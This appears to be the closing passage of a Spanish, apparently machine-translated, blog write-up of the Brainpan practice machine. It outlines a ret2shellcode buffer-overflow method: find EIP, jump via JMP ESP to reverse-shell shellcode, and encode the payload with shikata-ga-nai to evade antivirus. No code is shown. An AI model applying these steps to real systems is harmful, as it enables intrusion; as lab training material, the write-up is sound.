 Aunque este disparo no es difícil, es la primera máquina objetivo que se encuentra con el desbordamiento del búfer, lo que implica conocimiento en la memoria. Este artículo trata sobre el tipo de desbordamiento de pila ret2shellcode en desbordamiento de búfer , es decir, transferir el flujo de ejecución del programa a shellcode. Es muy importante comprender el pensamiento general de todo el proceso de operación.Aquí hay un resumen del pensamiento de la utilización de desbordamiento.

1. En primer lugar, se encontró el archivo interactivo brainpan.exe, que implica operaciones de búfer, por lo que puede haber un desbordamiento. Intente construir una cadena larga y descubra que el programa falla, básicamente confirmando que hay un desbordamiento de búfer.

2. Luego busque la ubicación del registro EIP y marque la dirección de la siguiente instrucción

3. Sobrescriba el contenido del registro EIP con la dirección de la instrucción JMP ESP, para que el flujo de ejecución del programa salte a la ejecución ESP.

4. Sobrescriba el código de shell del shell de rebote en el ESP y, finalmente, provoque la ejecución de código malicioso.

Consulte mi blog anterior para obtener detalles sobre el ret2shellcode  más básico :

Introducción a pwn (2): principio del ataque ROP, exploit de desbordamiento de búfer (ret2text+ret2shellcode)

 En términos generales, el principio no es complicado, pero todavía hay algunos detalles a los que se debe prestar atención durante la operación, como el problema de visualización de la CPU en formato small endian, que hace que la dirección de la memoria esté en orden de bytes inverso; verifique si hay bytes defectuosos; construya un shell de rebote El puerto común 443 se usa para la carga útil, y la codificación shikata-ga-nai se usa para omitir el anti-asesinato; agregue algunos espaciadores de instrucciones vacíos NOP sin sentido antes de escribir la carga útil del shell de rebote para evitar que se borre el shellcode, etc.

¡Siento que el jefe de toma de notas del equipo rojo es realmente fuerte, soy un plato real y se debe practicar aprender a infiltrarse! En este punto, se explica la máquina de destino. La máquina de destino no es difícil, hay muchas palabras y realmente no es fácil de resumir. Tomó mucho tiempo y energía, y también tuve mucho de mi propio pensamiento. Espero que a los lectores les guste, siga ¡y apoyo!

Supongo que te gusta

Origin blog.csdn.net/Bossfrank/article/details/131699630
Recomendado
Clasificación